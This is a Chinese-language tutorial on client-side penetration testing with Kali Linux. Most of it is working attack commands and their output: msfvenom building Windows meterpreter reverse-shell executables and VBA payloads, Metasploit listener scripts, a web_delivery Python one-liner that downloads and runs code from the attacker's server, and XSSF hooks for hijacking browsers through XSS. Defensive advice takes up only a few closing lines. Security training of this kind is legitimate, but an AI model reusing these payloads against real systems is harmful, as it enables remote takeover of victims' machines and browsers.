客户端安全测试

客户端安全测试

原理与方法

客户端安全测试背景

  • 对于安全测试人员来说,最大的挑战就是绕过一个目标的安全控制持久访问。随着安全意识的提高,网络管理员都会设置安全策略在一定程度上保护网络安全。那么最直接的方式就是对客户端进行安全测试,直接与目标机器上的程序进行交互,以获得访问权限。

客户端安全测试原理

  • Kali Linux中默认集成了很多客户端安全测试工具,例如msfvenom,beef等。针对于客户端测试最终的目的是获得系统的持久化访问权限,Kali Linux直接与目标系统的客户端应用程序进行交互,其中也包括浏览器。

客户端安全测试方法

  • 使用Kali Linux直接与目标机器客户端程序交互,例如浏览器点击链接,目标机器下载Kali Linux生成Shell。

msfvenom后门

msfovenom工具介绍

  • 2015年,msfvenom取代Metasploit中的msfpayload和msfencode成为独立负载生成器。
  • Metasploit是渗透测试框架:https://www.metasploit.com/

msfovenom工具生成Payload

  • 在终端中使用msfvenom -h查看帮助信息。
┌──(root💀kali)-[~]
└─# msfvenom -h                                                                                                                                                                                                                         
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe

Options:
    -l, --list            <type>     List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
    -p, --payload         <payload>  Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
        --list-options               List --payload <value>'s standard, advanced and evasion options
    -f, --format          <format>   Output format (use --list formats to list)
    -e, --encoder         <encoder>  The encoder to use (use --list encoders to list)
        --service-name    <value>    The service name to use when generating a service binary
        --sec-name        <value>    The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
        --smallest                   Generate the smallest possible payload using all available encoders
        --encrypt         <value>    The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
        --encrypt-key     <value>    A key to be used for --encrypt
        --encrypt-iv      <value>    An initialization vector for --encrypt
    -a, --arch            <arch>     The architecture to use for --payload and --encoders (use --list archs to list)
        --platform        <platform> The platform for --payload (use --list platforms to list)
    -o, --out             <path>     Save the payload to a file
    -b, --bad-chars       <list>     Characters to avoid example: '\x00\xff'
    -n, --nopsled         <length>   Prepend a nopsled of [length] size on to the payload
        --pad-nops                   Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
    -s, --space           <length>   The maximum size of the resulting payload
        --encoder-space   <length>   The maximum size of the encoded payload (defaults to the -s value)
    -i, --iterations      <count>    The number of times to encode the payload
    -c, --add-code        <path>     Specify an additional win32 shellcode file to include
    -x, --template        <path>     Specify a custom executable file to use as a template
    -k, --keep                       Preserve the --template behaviour and inject the payload as a new thread
    -v, --var-name        <value>    Specify a custom variable name to use for certain output formats
    -t, --timeout         <second>   The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
    -h, --help                       Show this message

生成一个后门客户端

# -p 指定模块
# LHOST 本地IP
# LPORT 本地未占用端口
# -f 输出文件格式
# -o 输出文件名
┌──(root💀kali)-[~]
└─# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.183 LPORT=4444 -f exe -o test.exe                                                                                                                            
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: test.exe

matesploit监听等待连接

  • 在客户端打开msfconsole

VBS恶意脚本

客户端脚本介绍

  • 客户端脚本被用来开发编写浏览器客户端对应的逻辑程序。常用的客户端脚本有javascript,vbs,powershell等。VBS是Office客户端脚本。

msfvenom生成vbs脚本

  • 在msfvenom工具中,使用msfvenom -l formats查看支持的文件格式。
┌──(root💀kali)-[~/桌面]
└─# msfvenom -l formats                                                                                                                                                                                                              

Framework Executable Formats [--format <value>]
===============================================

    Name
    ----
    asp
    aspx
    aspx-exe
    axis2
    dll
    elf
    elf-so
    exe
    exe-only
    exe-service
    exe-small
    hta-psh
    jar
    jsp
    loop-vbs
    macho
    msi
    msi-nouac
    osx-app
    psh
    psh-cmd
    psh-net
    psh-reflection
    python-reflection
    vba
    vba-exe
    vba-psh
    vbs
    war

Framework Transform Formats [--format <value>]
==============================================

    Name
    ----
    base32
    base64
    bash
    c
    csharp
    dw
    dword
    hex
    java
    js_be
    js_le
    num
    perl
    pl
    powershell
    ps1
    py
    python
    raw
    rb
    ruby
    sh
    vbapplication
    vbscript
  • 生成恶意脚本。
# -p 指定模块
# LHOST 本机IP
# LPORT 本机未使用的端口
# -f 输出脚本类型>输出文件名
┌──(root💀kali)-[~/桌面]
└─# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.66.13 LPORT=4444 -f vba-exe>test.exe                                                                                                                                  2 ⨯
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of vba-exe file: 30470 bytes

  • 使用msfconsole中设置监听等待连接。
┌──(root💀kali)-[~/桌面]
└─# msfconsole                                                                                       
[!] The following modules could not be loaded!..\
[!]     /usr/share/metasploit-framework/modules/auxiliary/scanner/msmail/host_id.go
...
msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 172.16.66.13
lhost => 172.16.66.13
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 172.16.66.13:4444 
  • 如果觉得设置监听麻烦,可以创建一个vbaeexploit.rc文件文件内容如下:
┌──(root💀kali)-[~]
└─# cat vbaeexploit.rc                                                                   
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 172.16.66.13
set lport 4444
exploit
# 使用vbaeexploit.rc文件

exe文件转换VBA脚本

  • 在Kali Linux中exe2vba.rb可以使用exe格式文件转换VBA脚本。
┌──(root💀kali)-[~/桌面]
└─# /usr/share/metasploit-framework/tools/exploit/exe2vba.rb test.exe test.vbs

[*] Converted 30470 bytes of EXE into a VBA script

防御VBA恶意脚本

  • 拒绝执行未知安全性的任意代码,安全杀毒软件。

PowerShell恶意脚本

PowerShell介绍

  • PowerShell是一个用来进行系统管理的命令行工具也是一款脚本语言。基于.NET框架,扩展VBScript功能,可以调用C#和VB.NET库。简单高效,与VBScript相比,10行PowerShell代码可以实现100行VBScript代码的功能。
  • 目前Win7以上版本的系统都默认安装PowerShell脚本环境。

PowerShell安全测试

  • 使用Metasploit中的PowerShell Payload Web Delivery 模块。该模块的目的是为了在目标系统上快速建立会话,不写入磁盘,因此不会触发安全软件。
  • 编辑psexploit.rc脚本文件。
use exploit/multi/script/web_delivery
set SRVHOST 172.16.66.13
set LHOST 172.16.66.13
set LPROT 4444
exploit
  • 在目标机器命令提示符CMD终端运行Python脚本。
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 172.16.66.13:4444 
[*] Using URL: http://172.16.66.13:8080/cUC8E6
[*] Server started.
[*] Run the following command on the target machine:
python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://172.16.66.13:8080/cUC8E6', context=ssl._create_unverified_context());exec(r.read());"
  • 获取反弹Shell

跨站脚本框架

跨站脚本介绍

  • 跨站脚本安全测试是针对Web浏览器的,一般情况下被称为XSS。

跨站脚本框架 xssf

  • 下载:https://code.google.com/archive/p/xssf/
# 下载完成后解压XSSF-3.0.zip
┌──(root💀kali)-[~/桌面]
└─# unzip XSSF-3.0.zip       

# 进入到XSSF文件夹
┌──(root💀kali)-[~/桌面]
└─# cd XSSF       

# 查看XSSF文件夹中的内容
┌──(root💀kali)-[~/桌面/XSSF]
└─# ls
data  lib  modules  plugins  README_XSSF

# 将XSSF文件夹中的内容复制到/usr/share/metasploit-framework/目录下
┌──(root💀kali)-[~/桌面/XSSF]
└─# cp -r */. /usr/share/metasploit-framework      
  • 进入到msfconsole使用load xssf
msf6 > load xssf
[-] Your Ruby version is 2.7.2. Make sure your version is up-to-date with the last non-vulnerable version before using XSSF!


 ____  ____   ______    ______   ________                                                                                       
|_  _||_  _|.' ____ \ .' ____ \ |_   __  |                                                                                       
  \ \  / /  | ( ___ \_|| (___ \_|  | |_ \_|                                                                                     
   > `' <    _.____`.  _.____`.   |  _|                                                                                         
 _/ /'`\ \_ | \____) || \____) | _| |_                                                                                           
|____||____| \______.' \______. '|_____| Cross-Site Scripting Framework 3.0                                                      
                                          Ludovic Courgnaud - CONIX Security                                                                                                                                                               


[+] Please use command 'xssf_urls' to see useful XSSF URLs
[*] Successfully loaded plugin: xssf
  • 加载完成之后,使用xssf_urls查看有效XSSF框架URL。
msf6 > xssf_urls
[+] XSSF Server          : 'http://192.168.10.183:8888/'                or 'http://<PUBLIC-IP>:8888/'
[+] Generic XSS injection: 'http://192.168.10.183:8888/loop'    or 'http://<PUBLIC-IP>:8888/loop'
[+] XSSF test page       : 'http://192.168.10.183:8888/test.html' or 'http://<PUBLIC-IP>:8888/test.html'

[+] XSSF Tunnel Proxy   : 'localhost:8889'
[+] XSSF logs page      : 'http://localhost:8889/gui.html?guipage=main'
[+] XSSF statistics page: 'http://localhost:8889/gui.html?guipage=stats'
[+] XSSF help page      : 'http://localhost:8889/gui.html?guipage=help'
  • 找一个存在xss漏洞的网站,在漏洞点输入下方的内容。
<script>http://192.168.10.183:8888/loop?intverval=5</script>
  • 在msfconsole中输入xssf_information 1查看ID为1的用户设备信息。
msf6 > xssf_information 1

INFORMATION ABOUT VICTIM 1
============================
IP ADDRESS      : 192.168.10.183
ACTIVE ?        : FALSE
FIRST REQUEST   : 2021-03-12 22:55:55
LAST REQUEST    : 2021-03-12 22:55:55
CONNECTION TIME : 0hr 0min 0sec
BROWSER NAME    : Firefox
BROWSER VERSION : 78.0
OS NAME         : Linux
OS VERSION      : Unknown
ARCHITECTURE    : ARCH_X86_64
LOCATION        : Unknown
XSSF COOKIE ?   : NO
RUNNING ATTACK  : NONE
WAITING ATTACKS : 0
  • 让浏览器弹出Hello的弹框。
msf6 > use auxiliary/xssf/public/misc/alert 
msf6 auxiliary(xssf/public/misc/alert) > show options

Module options (auxiliary/xssf/public/misc/alert):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   AlertMessage  XSSF ALERT !     yes       Message you want to send to the victim.
   SRVHOST       0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT       8080             yes       The local port to listen on.
   SSLCert                        no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                        no        The URI to use for this exploit (default is random)
   VictimIDs     ALL              yes       IDs of the victims you want to receive the code.\nExamples : 1, 3-5 / ALL / NONE

msf6 auxiliary(xssf/public/misc/alert) > set AlertMessage Hello!
msf6 auxiliary(xssf/public/misc/alert) > exploit 

跨站脚本防御

  • 服务端过滤用户输入,避免XSS安全弱点。
  • 客户端不随意点击未知连接。

客户端安全防御措施

客户端安全防御针对目标

  • 客户端目标针对于浏览器等,而非浏览器。存储XSS虽然代码存储在服务端,但是目标依旧是客户端。

更好的防御客户端安全。

  • 提高安全意识,绝不做未知的事情(运行未知程序,打开未知文档)。
  • 避免在网络中泄露个人真实信息。